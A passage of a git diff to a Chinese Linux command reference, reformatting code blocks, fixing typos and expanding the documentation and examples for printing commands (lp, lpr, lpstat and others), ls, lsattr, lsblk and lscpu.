-经过上面的三步之后,我们就可以通过/tmp目录,像访问真实快设备一样来访问磁盘镜像文件floppy.img。
+经过上面的三步之后,我们就可以通过/tmp目录,像访问真实块设备一样来访问磁盘镜像文件floppy.img。
卸载loop设备:
-```
+```shell
umount /tmp
losetup -d /dev/loop1
```
-
\ No newline at end of file
diff --git a/command/lp.md b/command/lp.md
index 5b65c198b15..1bbd79a04d8 100644
--- a/command/lp.md
+++ b/command/lp.md
@@ -1,21 +1,21 @@
lp
===
-
+
打印文件或修改排队的打印任务
## 补充说明
**lp命令** 用于打印文件,或者修改排队的打印任务。与lpr命令类似,lp命令既支持文件输入也支持标准输入。它与lpr的不同之处在于它有一个不同(稍微复杂点)的参数选项设置。
-### 语法
+### 语法
-```
+```shell
lp(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-E:与打印服务器连接时强制使用加密;
-U:指定连接打印服务器时使用的用户名;
-d:指定接收打印任务的目标打印机;
@@ -27,39 +27,39 @@ lp(选项)(参数)
-P:指定需要打印的页码。
```
-### 参数
+### 参数
文件:需打印的文件。
-### 实例
+### 实例
要在连接在设备dlp0上的打印机lp0上打印文件`/etc/motd`,请输入:
-```
+```shell
lp /etc/motd
```
要使用文件的一个副本打印`/etc/motd`文件的30个副本,并且要用邮件通知用户作业完成,请输入:
-```
+```shell
lp -c -m -n30 -dlp0:lpd0 /etc/motd
```
要使用后端标志-f和-a并带上作业标题blah打印`/etc/motd`文件,请输入:
-```
+```shell
lp -t "blah" -o -f -o -a /etc/motd
```
要排队MyFile文件并返回作业编号,请输入:
-```
+```shell
lp myfile
```
要排队MyFile文件并禁止作业编号,请输入:
-```
+```shell
lp -s myfile
```
@@ -71,4 +71,3 @@ lp -s myfile
* >0:没有输出设备可用,或者出现一个错误。
-
\ No newline at end of file
diff --git a/command/lpadmin.md b/command/lpadmin.md
index 4f93ea10bad..5b0831e238b 100644
--- a/command/lpadmin.md
+++ b/command/lpadmin.md
@@ -1,21 +1,21 @@
lpadmin
===
-
+
配置CUPS套件中的打印机和类
## 补充说明
**lpadmin命令** 用于配置CUPS套件中的打印机和类,也被用来设置打印服务器默认打印机。
-### 语法
+### 语法
-```
+```shell
lpadmin(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-c:将打印机加入类;
-i:为打印机设置“system V”风格的接口脚本;
-m:从mode目录设置一个标准的“system V”接口脚本或“PPD”文件;
@@ -30,9 +30,8 @@ lpadmin(选项)(参数)
-d:设置默认打印机。
```
-### 参数
+### 参数
打印机:指定要配置的打印机的名称。
-
\ No newline at end of file
diff --git a/command/lpc.md b/command/lpc.md
index eed73e0433a..acec76636fe 100644
--- a/command/lpc.md
+++ b/command/lpc.md
@@ -1,21 +1,21 @@
lpc
===
-
+
命令行方式打印机控制程序
## 补充说明
**lpc命令** 式命令行方式打印机控制程序,有5个内置命令。
-### 语法
+### 语法
-```
+```shell
lpc
```
-### 实例
+### 实例
-```
+```shell
[root@localhost ~]# lpc
lpc> ?
命令可能是缩写。命令是:
@@ -25,4 +25,3 @@ lpc> exit
```
-
\ No newline at end of file
diff --git a/command/lpq.md b/command/lpq.md
index 5fcbc5c974a..777b49eccba 100644
--- a/command/lpq.md
+++ b/command/lpq.md
@@ -1,21 +1,21 @@
lpq
===
-
+
显示打印队列中的打印任务的状态信息
## 补充说明
**lpq命令** 用于显示打印队列中的打印任务的状态信息。
-### 语法
+### 语法
-```
+```shell
lpq(选项)
```
-### 选项
+### 选项
-```
+```shell
-E:强制使用加密方式与服务器连接;
-P:显示中的打印机上的打印队列状态;;
-U:自动可选的用户名;
@@ -26,4 +26,3 @@ lpq(选项)
```
-
\ No newline at end of file
diff --git a/command/lpr.md b/command/lpr.md
index b777090cd49..da45d70e2bf 100644
--- a/command/lpr.md
+++ b/command/lpr.md
@@ -1,21 +1,21 @@
lpr
===
-
+
将文件发送给指定打印机进行打印
## 补充说明
**lpr命令** 用于将文件发送给指定打印机进行打印,如果不指定目标打印机,则使用默认打印机。
-### 语法
+### 语法
-```
+```shell
lpr(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-E:与打印服务器连接时强制使用加密;
-H:指定可选的打印服务器;
-C:指定打印任务的名称;
@@ -27,17 +27,16 @@ lpr(选项)(参数)
-r:打印完成后删除文件。
```
-### 参数
+### 参数
文件:需打印的文件。
-### 实例
+### 实例
将man1和man2送到打印机lp进行打印:
-```
+```shell
lpr -P lp man1 man2
```
-
\ No newline at end of file
diff --git a/command/lprm.md b/command/lprm.md
index 886800754e4..fba555654b5 100644
--- a/command/lprm.md
+++ b/command/lprm.md
@@ -1,43 +1,42 @@
lprm
===
-
+
删除打印队列中的打印任务
## 补充说明
**lprm命令** 用于删除打印队列中的打印任务。尚未完成的打印机任务会被放在打印机贮列之中,这个命令可用来将常未送到打印机的任务取消。
-### 语法
+### 语法
-```
+```shell
lprm(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-E:与打印服务器连接时强制使用加密;
-P:指定接受打印任务的目标打印机;
-U:指定可选的用户名。
```
-### 参数
+### 参数
打印任务:指定需删除的打印任务号。
-### 实例
+### 实例
将打印机hpprint中的第102号任务移除:
-```
+```shell
lprm -Phpprint 102
```
将第101号任务由预设打印机中移除:
-```
+```shell
lprm 101
```
-
\ No newline at end of file
diff --git a/command/lpstat.md b/command/lpstat.md
index aa789e935b2..0cfe916f7d0 100644
--- a/command/lpstat.md
+++ b/command/lpstat.md
@@ -1,21 +1,21 @@
lpstat
===
-
+
显示CUPS中打印机的状态信息
## 补充说明
**lpstat命令** 用于显示CUPS中打印机的状态信息。
-### 语法
+### 语法
-```
+```shell
lpstat(选项)
```
-### 选项
+### 选项
-```
+```shell
-E:与打印机连接时加密;
-R:显示打印任务的等级;
-U:指定可选用户名;
@@ -30,4 +30,3 @@ lpstat(选项)
```
-
\ No newline at end of file
diff --git a/command/ls.md b/command/ls.md
index 70611004c30..cf09d587b1a 100644
--- a/command/ls.md
+++ b/command/ls.md
@@ -5,134 +5,190 @@ ls
## 补充说明
-**ls命令** 用来显示目标列表,在Linux中是使用率较高的命令。ls命令的输出信息可以进行彩色加亮显示,以分区不同类型的文件。
-
-### 语法
-
-```
-ls(选项)(参数)
-```
-
-### 选项
-
-```
-
--a, --all 不隐藏任何以. 开始的项目
--A, --almost-all 列出除. 及.. 以外的任何项目
- --author 与-l 同时使用时列出每个文件的作者
--b, --escape 以八进制溢出序列表示不可打印的字符
- --block-size=SIZE scale sizes by SIZE before printing them; e.g.,
- '--block-size=M' prints sizes in units of
- 1,048,576 bytes; see SIZE format below
--B, --ignore-backups do not list implied entries ending with ~
--c with -lt: sort by, and show, ctime (time of last
- modification of file status information);
- with -l: show ctime and sort by name;
- otherwise: sort by ctime, newest first
--C list entries by columns
- --color[=WHEN] colorize the output; WHEN can be 'never', 'auto',
- or 'always' (the default); more info below
--d, --directory list directories themselves, not their contents
--D, --dired generate output designed for Emacs' dired mode
--f do not sort, enable -aU, disable -ls --color
--F, --classify append indicator (one of */=>@|) to entries
- --file-type likewise, except do not append '*'
- --format=WORD across -x, commas -m, horizontal -x, long -l,
- single-column -1, verbose -l, vertical -C
- --full-time like -l --time-style=full-iso
--g 类似-l,但不列出所有者
- --group-directories-first
- group directories before files;
- can be augmented with a --sort option, but any
- use of --sort=none (-U) disables grouping
--G, --no-group 以一个长列表的形式,不输出组名
--h, --human-readable 与-l 一起,以易于阅读的格式输出文件大小
- (例如 1K 234M 2G)
- --si 同上面类似,但是使用1000 为基底而非1024
--H, --dereference-command-line
- follow symbolic links listed on the command line
- --dereference-command-line-symlink-to-dir
- follow each command line symbolic link
- that points to a directory
- --hide=PATTERN do not list implied entries matching shell PATTERN
- (overridden by -a or -A)
- --indicator-style=WORD append indicator with style WORD to entry names:
- none (default), slash (-p),
- file-type (--file-type), classify (-F)
--i, --inode print the index number of each file
--I, --ignore=PATTERN do not list implied entries matching shell PATTERN
--k, --kibibytes default to 1024-byte blocks for disk usage
--l 使用较长格式列出信息
--L, --dereference 当显示符号链接的文件信息时,显示符号链接所指示
- 的对象而并非符号链接本身的信息
--m 所有项目以逗号分隔,并填满整行行宽
--n, --numeric-uid-gid 类似 -l,但列出UID 及GID 号
--N, --literal 输出未经处理的项目名称 (如不特别处理控制字符)
--o 类似 -l,但不列出有关组的信息
--p, --indicator-style=slash 对目录加上表示符号"/"
--q, --hide-control-chars print ? instead of nongraphic characters
- --show-control-chars show nongraphic characters as-is (the default,
- unless program is 'ls' and output is a terminal)
--Q, --quote-name enclose entry names in double quotes
- --quoting-style=WORD use quoting style WORD for entry names:
- literal, locale, shell, shell-always, c, escape
--r, --reverse 逆序排列
--R, --recursive 递归显示子目录
--s, --size 以块数形式显示每个文件分配的尺寸
--S sort by file size
- --sort=WORD sort by WORD instead of name: none (-U), size (-S),
- time (-t), version (-v), extension (-X)
- --time=WORD with -l, show time as WORD instead of default
- modification time: atime or access or use (-u)
- ctime or status (-c); also use specified time
- as sort key if --sort=time
- --time-style=STYLE with -l, show times using style STYLE:
- full-iso, long-iso, iso, locale, or +FORMAT;
- FORMAT is interpreted like in 'date'; if FORMAT
- is FORMAT1FORMAT2, then FORMAT1 applies
- to non-recent files and FORMAT2 to recent files;
- if STYLE is prefixed with 'posix-', STYLE
- takes effect only outside the POSIX locale
--t sort by modification time, newest first
--T, --tabsize=COLS assume tab stops at each COLS instead of 8
--u with -lt: sort by, and show, access time;
- with -l: show access time and sort by name;
- otherwise: sort by access time
--U do not sort; list entries in directory order
--v natural sort of (version) numbers within text
--w, --width=COLS assume screen width instead of current value
--x list entries by lines instead of by columns
--X sort alphabetically by entry extension
--1 list one file per line
-
-SELinux options:
-
---lcontext Display security context. Enable -l. Lines
- will probably be too wide for most displays.
--Z, --context Display security context so it fits on most
- displays. Displays only mode, user, group,
- security context and file name.
---scontext Display only security context and file name.
- --help 显示此帮助信息并退出
- --version 显示版本信息并退出
-```
-
-### 参数
+**ls命令** 就是list的缩写,用来显示目标列表,在Linux中是使用率较高的命令。ls命令的输出信息可以进行彩色加亮显示,以分区不同类型的文件。
+
+### 语法
+
+```shell
+ls [选项] [文件名...]
+ [-1abcdfgiklmnopqrstuxABCDFGLNQRSUX] [-w cols] [-T cols] [-I pattern] [--full-time]
+ [--format={long,verbose,commas,across,vertical,single-col‐umn}]
+ [--sort={none,time,size,extension}] [--time={atime,access,use,ctime,status}]
+ [--color[={none,auto,always}]] [--help] [--version] [--]
+```
+
+### 选项
+
+```shell
+-C # 多列输出,纵向排序。
+-F # 每个目录名加 "/" 后缀,每个 FIFO 名加 "|" 后缀, 每个可运行名加“ * ”后缀。
+-R # 递归列出遇到的子目录。
+-a # 列出所有文件,包括以 "." 开头的隐含文件。
+-c # 使用“状态改变时间”代替“文件修改时间”为依据来排序(使用“-t”选项时)或列出(使用“-l”选项时)。
+-d # 将目录名像其它文件一样列出,而不是列出它们的内容。
+-i # 输出文件前先输出文件系列号(即 i 节点号: i-node number)。 -l 列出(以单列格式)文件模式
+ # (file mode),文件的链接数,所有者名,组名,文件大小(以字节为单位),时间信息,及文件名。
+ # 缺省时,时间信息显示最近修改时间;可以以选项“-c”和“-u”选择显示其它两种时间信息。对于设备文件,
+ # 原先显示文件大小的区域通常显示的是主要和次要的信号(majorand minor device numbers)。
+-q # 将文件名中的非打印字符输出为问号。(对于到终端的输出这是缺省的。)
+-r # 逆序排列。
+-t # 按时间信息排序。
+-u # 使用最近访问时间代替最近修改时间为依据来排序(使用“-t”选项时)或列出(使用“-l”选项时)。
+-1 # 单列输出。
+-1, --format=single-column # 一行输出一个文件(单列输出)。如标准输出不是到终端,此选项就是缺省选项。
+-a, --all # 列出目录中所有文件,包括以“.”开头的文件。
+-b, --escape # 把文件名中不可输出的字符用反斜杠加字符编号(就像在 C 语言里一样)的形式列出。
+-c, --time=ctime, --time=status
+ # 按文件状态改变时间(i节点中的ctime)排序并输出目录内
+ # 容。如采用长格式输出(选项“-l”),使用文件的状态改
+ # 变时间取代文件修改时间。【译注:所谓文件状态改变(i节
+ # 点中以ctime标志),既包括文件被修改,又包括文件属性( 如所有者、组、链接数等等)的变化】
+-d, --directory
+ # 将目录名像其它文件一样列出,而不是列出它们的内容。
+-f # 不排序目录内容;按它们在磁盘上存储的顺序列出。同时启 动“ -a ”选项,如果在“ -f ”之前存在“ -l”、
+ # “ - -color ”或“ -s ”,则禁止它们。
+-g # 忽略,为兼容UNIX用。
+-i, --inode
+ # 在每个文件左边打印 i 节点号(也叫文件序列号和索引号: file serial number and index num‐
+ # ber)。i节点号在每个特定的文件系统中是唯一的。
+-k, --kilobytes
+ # 如列出文件大小,则以千字节KB为单位。
+-l, --format=long, --format=verbose
+ # 输出的信息从左到右依次包括文件名、文件类型、权限、硬链接数、所有者名、组名、大小(byte)
+ # 、及时间信息(如未指明是其它时间即指修改时间)。对于6个月以上的文件或超出未来
+ # 1小时的文件,时间信息中的时分将被年代取代。
+ # 每个目录列出前,有一行“总块数”显示目录下全部文件所占的磁盘空间。块默认是1024字节;
+ # 如果设置了 POSIXLY_CORRECT 的环境变量,除非用“-k”选项,则默认块大小是 512 字节。
+ # 每一个硬链接都计入总块数(因此可能重复计数),这无 疑是个缺点。
+
+# 列出的权限类似于以符号表示(文件)模式的规范。但是 ls
+ # 在每套权限的第三个字符中结合了多位( multiple bits ) 的信息,如下: s 如果设置了 setuid
+ # 位或 setgid 位,而且也设置了相应的可执行位。 S 如果设置了 setuid 位或 setgid
+ # 位,但是没有设置相应的可执行位。 t 如果设置了 sticky 位,而且也设置了相应的可执行位。 T
+ # 如果设置了 sticky 位,但是没有设置相应的可执行位。 x
+ # 如果仅仅设置了可执行位而非以上四种情况。 - 其它情况(即可执行位未设置)。
+-m, --format=commas
+ # 水平列出文件,每行尽可能多,相互用逗号和一个空格分隔。
+-n, --numeric-uid-gid
+ # 列出数字化的 UID 和 GID 而不是用户名和组名。
+-o # 以长格式列出目录内容,但是不显示组信息。等于使用“ --format=long --no-group
+ # ”选项。提供此选项是为了与其它版本的 ls 兼容。
+-p # 在每个文件名后附上一个字符以说明该文件的类型。类似“ -F ”选项但是不 标示可执行文件。
+-q, --hide-control-chars
+ # 用问号代替文件名中非打印的字符。这是缺省选项。
+-r, --reverse
+ # 逆序排列目录内容。
+-s, --size
+ # 在每个文件名左侧输出该文件的大小,以 1024 字节的块为单位。如果设置了 POSIXLY_CORRECT
+ # 的环境变量,除非用“ -k ”选项,块大小是 512 字节。
+-t, --sort=time
+ # 按文件最近修改时间( i 节点中的 mtime )而不是按文件名字典序排序,新文件 靠前。
+-u, --time=atime, --time=access, --time=use
+ # 类似选项“ -t ”,但是用文件最近访问时间( i 节点中的 atime )取代文件修
+ # 改时间。如果使用长格式列出,打印的时间是最近访问时间。
+-w, --width cols
+ # 假定屏幕宽度是 cols ( cols 以实际数字取代)列。如未用此选项,缺省值是这
+ # 样获得的:如可能先尝试取自终端驱动,否则尝试取自环境变量 COLUMNS (如果设
+ # 置了的话),都不行则取 80 。
+
+-x, --format=across, --format=horizontal
+ # 多列输出,横向排序。
+
+-A, --almost-all
+ # 显示除 "." 和 ".." 外的所有文件。
+
+-B, --ignore-backups
+ # 不输出以“ ~ ”结尾的备份文件,除非已经在命令行中给出。
+
+-C, --format=vertical
+ # 多列输出,纵向排序。当标准输出是终端时这是缺省项。使用命令名 dir 和 d 时, 则总是缺省的。
+
+-D, --dired
+ # 当采用长格式(“-l”选项)输出时,在主要输出后,额外打印一行: //DIRED// BEG1 END1 BEG2
+ # END2 ...
+
+# BEGn 和 ENDn 是无符号整数,记录每个文件名的起始、结束位置在输出中的位置(
+# 字节偏移量)。这使得 Emacs 易于找到文件名,即使文件名包含空格或换行等非正
+# 常字符也无需特异的搜索。
+#
+# 如果目录是递归列出的(“ -R ”选项),每个子目录后列出类似一行:
+ # //SUBDIRED// BEG1 END1 ... 【译注:我测试了 TurboLinux4.0 和 RedHat6.1 ,发现它们都是在 “
+ # //DIRED// BEG1... ”之后列出“ //SUBDIRED// BEG1 ... ”,也即只有一个
+ # 而不是在每个子目录后都有。而且“ //SUBDIRED// BEG1 ... ”列出的是各个子目 录名的偏移。】
+
+-F, --classify, --file-type
+ # 在每个文件名后附上一个字符以说明该文件的类型。“ * ”表示普通的可执行文件; “ / ”表示目录;“
+ # @ ”表示符号链接;“ | ”表示FIFOs;“ = ”表示套接字 (sockets) ;什么也没有则表示普通文件。
+
+-G, --no-group
+ # 以长格式列目录时不显示组信息。
+
+-I, --ignorepattern
+ # 除非在命令行中给定,不要列出匹配shell文件名匹配式(pattern ,不是指一般
+ # 表达式)的文件。在shell中,文件名以"."起始的不与在文件名匹配式(pattern)
+ # 开头的通配符匹配。
+
+-L, --dereference
+ # 列出符号链接指向的文件的信息,而不是符号链接本身。
+
+-N, --literal
+ # 不要用引号引起文件名。
+
+-Q, --quote-name
+ # 用双引号引起文件名,非打印字符以 C 语言的方法表示。
+
+-R, --recursive
+ # 递归列出全部目录的内容。
+
+-S, --sort=size
+ # 按文件大小而不是字典序排序目录内容,大文件靠前。
+
+-T, --tabsize cols
+ # 假定每个制表符宽度是 cols 。缺省为 8。为求效率, ls 可能在输出中使用制表符。 若 cols 为
+ 0,则不使用制表符。
+
+-U, --sort=none
+ # 不排序目录内容;按它们在磁盘上存储的顺序列出。(选项“-U”和“-f”的不
+ # 同是前者不启动或禁止相关的选项。)这在列很大的目录时特别有用,因为不加排序
+ # 能显著地加快速度。
+
+-X, --sort=extension
+ # 按文件扩展名(由最后的 "." 之后的字符组成)的字典序排序。没有扩展名的先列 出。
+
+--color[=when]
+ # 指定是否使用颜色区别文件类别。环境变量 LS_COLORS 指定使用的颜色。如何设置 这个变量见 dir‐
+ # colors(1) 。 when 可以被省略,或是以下几项之一:
+none # 不使用颜色,这是缺省项。
+ # auto 仅当标准输出是终端时使用。 always 总是使用颜色。指定 --color 而且省略 when 时就等同于
+ # --color=always 。
+
+--full-time
+ # 列出完整的时间,而不是使用标准的缩写。格式如同 date(1) 的缺省格式;此格式
+ # 是不能改变的,但是你可以用 cut(1) 取出其中的日期字串并将结果送至命令 “ date -d ”。
+
+# 输出的时间包括秒是非常有用的。( Unix 文件系统储存文件的时间信息精确到秒,
+ # 因此这个选项已经给出了系统所知的全部信息。)例如,当你有一个 Makefile 文件
+ # 不能恰当地生成文件时,这个选项会提供帮助。
+```
+
+### 参数
目录:指定要显示列表的目录,也可以是具体的文件。
-### 实例
+### 实例
-```bash
+```shell
$ ls # 仅列出当前目录可见文件
$ ls -l # 列出当前目录可见文件详细信息
$ ls -hl # 列出详细信息并以可读大小显示文件大小
$ ls -al # 列出所有文件(包括隐藏)的详细信息
+$ ls --human-readable --size -1 -S --classify # 按文件大小排序
+$ du -sh * | sort -h # 按文件大小排序(同上)
```
-显示当前目录下包括影藏文件在内的所有文件列表
+显示当前目录下包括隐藏文件在内的所有文件列表
-```
+```shell
[root@localhost ~]# ls -a
. anaconda-ks.cfg .bash_logout .bashrc install.log .mysql_history satools .tcshrc .vimrc
.. .bash_history .bash_profile .cshrc install.log.syslog .rnd .ssh .viminfo
@@ -140,7 +196,7 @@ $ ls -al # 列出所有文件(包括隐藏)的详细信息
输出长格式列表
-```
+```shell
[root@localhost ~]# ls -1
anaconda-ks.cfg
@@ -153,7 +209,7 @@ satools
索引节点(index inode简称为“inode”)是Linux中一个特殊的概念,具有相同的索引节点号的两个文本本质上是同一个文件(除文件名不同外)。
-```
+```shell
[root@localhost ~]# ls -i -l anaconda-ks.cfg install.log
2345481 -rw------- 1 root root 859 Jun 11 22:49 anaconda-ks.cfg
2345474 -rw-r--r-- 1 root root 13837 Jun 11 22:49 install.log
@@ -161,7 +217,7 @@ satools
水平输出文件列表
-```
+```shell
[root@localhost /]# ls -m
bin, boot, data, dev, etc, home, lib, lost+found, media, misc, mnt, opt, proc, root, sbin, selinux, srv, sys, tmp, usr, var
@@ -171,7 +227,7 @@ bin, boot, data, dev, etc, home, lib, lost+found, media, misc, mnt, opt, proc, r
最近修改的文件显示在最上面。
-```
+```shell
[root@localhost /]# ls -t
tmp root etc dev lib boot sys proc data home bin sbin usr var lost+found media mnt opt selinux srv misc
@@ -179,19 +235,18 @@ tmp root etc dev lib boot sys proc data home bin sbin usr var lost
显示递归文件
-```
+```shell
[root@localhost ~]# ls -R
.:
anaconda-ks.cfg install.log install.log.syslog satools
./satools:
black.txt freemem.sh iptables.sh lnmp.sh mysql php502_check.sh ssh_safe.sh
-
```
打印文件的UID和GID
-```
+```shell
[root@localhost /]# ls -n
total 254
@@ -216,12 +271,11 @@ drwxr-xr-x 11 0 0 0 Jun 15 11:04 sys
drwxrwxrwt 3 0 0 98304 Oct 16 08:45 tmp
drwxr-xr-x 13 0 0 4096 Jun 11 23:38 usr
drwxr-xr-x 19 0 0 4096 Jun 11 23:38 var
-
```
列出文件和文件夹的详细信息
-```
+```shell
[root@localhost /]# ls -l
total 254
@@ -246,12 +300,11 @@ drwxr-xr-x 11 root root 0 Jun 15 11:04 sys
drwxrwxrwt 3 root root 98304 Oct 16 08:48 tmp
drwxr-xr-x 13 root root 4096 Jun 11 23:38 usr
drwxr-xr-x 19 root root 4096 Jun 11 23:38 var
-
```
列出可读文件和文件夹详细信息
-```
+```shell
[root@localhost /]# ls -lh
total 254K
@@ -276,21 +329,19 @@ drwxr-xr-x 11 root root 0 Jun 15 11:04 sys
drwxrwxrwt 3 root root 96K Oct 16 08:49 tmp
drwxr-xr-x 13 root root 4.0K Jun 11 23:38 usr
drwxr-xr-x 19 root root 4.0K Jun 11 23:38 var
-
```
显示文件夹信息
-```
+```shell
[root@localhost /]# ls -ld /etc/
drwxr-xr-x 75 root root 4096 Oct 16 04:02 /etc/
-
```
按时间列出文件和文件夹详细信息
-```
+```shell
[root@localhost /]# ls -lt
total 254
@@ -315,12 +366,11 @@ drwxr-xr-x 2 root root 4096 May 11 2011 opt
drwxr-xr-x 2 root root 4096 May 11 2011 selinux
drwxr-xr-x 2 root root 4096 May 11 2011 srv
drwxr-xr-x 2 root root 4096 Nov 8 2010 misc
-
```
按修改时间列出文件和文件夹详细信息
-```
+```shell
[root@localhost /]# ls -ltr
total 254
@@ -345,25 +395,35 @@ drwxr-xr-x 10 root root 3520 Sep 26 15:38 dev
drwxr-x--- 4 root root 4096 Oct 15 14:43 root
drwxr-xr-x 75 root root 4096 Oct 16 04:02 etc
drwxrwxrwt 3 root root 98304 Oct 16 08:54 tmp
-
```
按照特殊字符对文件进行分类
-```
+```shell
[root@localhost nginx-1.2.1]# ls -F
auto/ CHANGES CHANGES.ru conf/ configure* contrib/ html/ LICENSE Makefile man/ objs/ README src/
-
```
列出文件并标记颜色分类
-```
+```shell
[root@localhost nginx-1.2.1]# ls --color=auto
auto CHANGES CHANGES.ru conf configure contrib html LICENSE Makefile man objs README src
```
+## 扩展知识
+
+### 不同颜色代表的文件类型
+
+* `蓝色`:目录
+* `绿色`:可执行文件
+* `白色`:一般性文件,如文本文件,配置文件等
+* `红色`:压缩文件或归档文件
+* `浅蓝色`:链接文件
+* 红色闪烁:链接文件存在问题
+* 黄色:设备文件
+* 青黄色:管道文件
+
-
diff --git a/command/lsattr.md b/command/lsattr.md
index 1a3ee1d66f2..68745d01708 100644
--- a/command/lsattr.md
+++ b/command/lsattr.md
@@ -1,21 +1,21 @@
lsattr
===
-
+
查看文件的第二扩展文件系统属性
## 补充说明
**lsattr命令** 用于查看文件的第二扩展文件系统属性。
-### 语法
+### 语法
-```
+```shell
lsattr(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-E:可显示设备属性的当前值,但这个当前值是从用户设备数据库中获得的,而不是从设备直接获得的。
-D:显示属性的名称,属性的默认值,描述和用户是否可以修改属性值的标志。
-R:递归的操作方式;
@@ -25,16 +25,15 @@ lsattr(选项)(参数)
lsattr经常使用的几个选项-D,-E,-R这三个选项不可以一起使用,它们是互斥的,经常使用的还有-l,-H,使用lsattr时,必须指出具体的设备名,用-l选项指出要显示设备的逻辑名称,否则要用-c,-s,-t等选项唯一的确定某个已存在的设备。
-### 参数
+### 参数
文件:指定显示文件系统属性的文件名。
-### 实例
+### 实例
-```
+```shell
lsattr -E -l rmt0 -H
lsattr -EO -l rmt0
```
-
\ No newline at end of file
diff --git a/command/lsb_release.md b/command/lsb_release.md
index 051e2f8ac70..f7d36edccc8 100644
--- a/command/lsb_release.md
+++ b/command/lsb_release.md
@@ -1,13 +1,13 @@
lsb_release
===
-
+
显示发行版本信息
## 补充说明
LSB是Linux Standard Base的缩写, **lsb_release命令** 用来显示LSB和特定版本的相关信息。如果使用该命令时不带参数,则默认加上-v参数。
-```
+```shell
-v 显示版本信息。
-i 显示发行版的id。
-d 显示该发行版的描述信息。
@@ -25,9 +25,8 @@ LSB是Linux Standard Base的缩写, **lsb_release命令** 用来显示LSB和
redhat和fedora系统中,还支持一个参数:
-```
+```shell
-s, --short 输出简短的描述信息。
```
-
\ No newline at end of file
diff --git a/command/lsblk.md b/command/lsblk.md
index 49c6cd3d54c..934dd5dab63 100644
--- a/command/lsblk.md
+++ b/command/lsblk.md
@@ -1,37 +1,37 @@
lsblk
===
-
+
列出块设备信息
## 补充说明
**lsblk命令** 用于列出所有可用块设备的信息,而且还能显示他们之间的依赖关系,但是它不会列出RAM盘的信息。块设备有硬盘,闪存盘,cd-ROM等等。lsblk命令包含在util-linux-ng包中,现在该包改名为util-linux。这个包带了几个其它工具,如dmesg。要安装lsblk,请在此处下载util-linux包。Fedora用户可以通过命令`sudo yum install util-linux-ng`来安装该包。
-### 选项
+### 选项
-```
--a, --all 显示所有设备。
--b, --bytes 以bytes方式显示设备大小。
--d, --nodeps 不显示 slaves 或 holders。
--D, --discard print discard capabilities。
--e, --exclude 排除设备 (default: RAM disks)。
--f, --fs 显示文件系统信息。
--h, --help 显示帮助信息。
--i, --ascii use ascii characters only。
--m, --perms 显示权限信息。
--l, --list 使用列表格式显示。
--n, --noheadings 不显示标题。
--o, --output 输出列。
--P, --pairs 使用key="value"格式显示。
--r, --raw 使用原始格式显示。
--t, --topology 显示拓扑结构信息。
+```shell
+-a, --all # 显示所有设备。
+-b, --bytes # 以bytes方式显示设备大小。
+-d, --nodeps # 不显示 slaves 或 holders。
+-D, --discard # print discard capabilities。
+-e, --exclude # 排除设备 (default: RAM disks)。
+-f, --fs # 显示文件系统信息。
+-h, --help # 显示帮助信息。
+-i, --ascii # use ascii characters only。
+-m, --perms # 显示权限信息。
+-l, --list # 使用列表格式显示。
+-n, --noheadings # 不显示标题。
+-o, --output # 输出列。
+-P, --pairs # 使用key="value"格式显示。
+-r, --raw # 使用原始格式显示。
+-t, --topology # 显示拓扑结构信息。
```
-### 实例
+### 实例
lsblk命令默认情况下将以树状列出所有块设备。打开终端,并输入以下命令:
-```
+```shell
lsblk
NAME MAJ:MIN rm SIZE RO type mountpoint
@@ -57,19 +57,19 @@ sr0 11:0 1 1024M 0 rom
默认选项不会列出所有空设备。要查看这些空设备,请使用以下命令:
-```
+```shell
lsblk -a
```
lsblk命令也可以用于列出一个特定设备的拥有关系,同时也可以列出组和模式。可以通过以下命令来获取这些信息:
-```
+```shell
lsblk -m
```
该命令也可以只获取指定设备的信息。这可以通过在提供给lsblk命令的选项后指定设备名来实现。例如,你可能对了解以字节显示你的磁盘驱动器大小比较感兴趣,那么你可以通过运行以下命令来实现:
-```
+```shell
lsblk -b /dev/sda
等价于
@@ -79,21 +79,20 @@ lsblk --bytes /dev/sda
你也可以组合几个选项来获取指定的输出。例如,你也许想要以列表格式列出设备,而不是默认的树状格式。你可能也对移除不同栏目名称的标题感兴趣。可以将两个不同的选项组合,以获得期望的输出,命令如下:
-```
+```shell
lsblk -nl
```
要获取SCSI设备的列表,你只能使用-S选项。该选项是大写字母S,不能和-s选项混淆,该选项是用来以颠倒的顺序打印依赖的。
-```
+```shell
lsblk -S
```
lsblk列出SCSI设备,而-s是逆序选项(将设备和分区的组织关系逆转过来显示),其将给出如下输出。输入命令:
-```
+```shell
lsblk -s
```
-
\ No newline at end of file
diff --git a/command/lscpu.md b/command/lscpu.md
index 00fbf720b74..d6549c7c798 100644
--- a/command/lscpu.md
+++ b/command/lscpu.md
@@ -7,30 +7,30 @@ lscpu
**lscpu命令** 是显示有关CPU架构的信息。
-### 语法
+### 语法
-```
+```shell
lscpu [选项]
```
-### 选项
+### 选项
-```
- -a, --all 打印在线和离线CPU(默认为-e)
- -b, --online 仅打印在线CPU(-p的默认值)
- -c, --offline 打印离线CPU
- -e, --extended[=] 打印出一个扩展的可读格式
- -p, --parse[=] 打印出可解析的格式
- -s, --sysroot 将指定的目录用作系统根目录
- -x, --hex 打印十六进制掩码,而不是CPU列表
+```shell
+ -a, --all # 打印在线和离线CPU(默认为-e)
+ -b, --online # 仅打印在线CPU(-p的默认值)
+ -c, --offline # 打印离线CPU
+ -e, --extended[=] # 打印出一个扩展的可读格式
+ -p, --parse[=] # 打印出可解析的格式
+ -s, --sysroot # 将指定的目录用作系统根目录
+ -x, --hex # 打印十六进制掩码,而不是CPU列表
- -h, --help 显示此帮助并退出
- -V, --version 输出版本信息并退出
+ -h, --help # 显示此帮助并退出
+ -V, --version # 输出版本信息并退出
```
-### 参数
+### 参数
-```bash
+```shell
可用列:
CPU 逻辑CPU编号
CORE 逻辑核心号码
@@ -46,7 +46,7 @@ lscpu [选项]
### 例子
-```bash
+```shell
[root@localhost ~]# lscpu
Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
@@ -71,5 +71,17 @@ L2 cache: 256K
L3 cache: 8192K
NUMA node0 CPU(s): 0-3
```
+```shell
+# 查看cpu编号对应的核心号码,区分是大核还是小核。
+[root@localhost ~]# lscpu -e
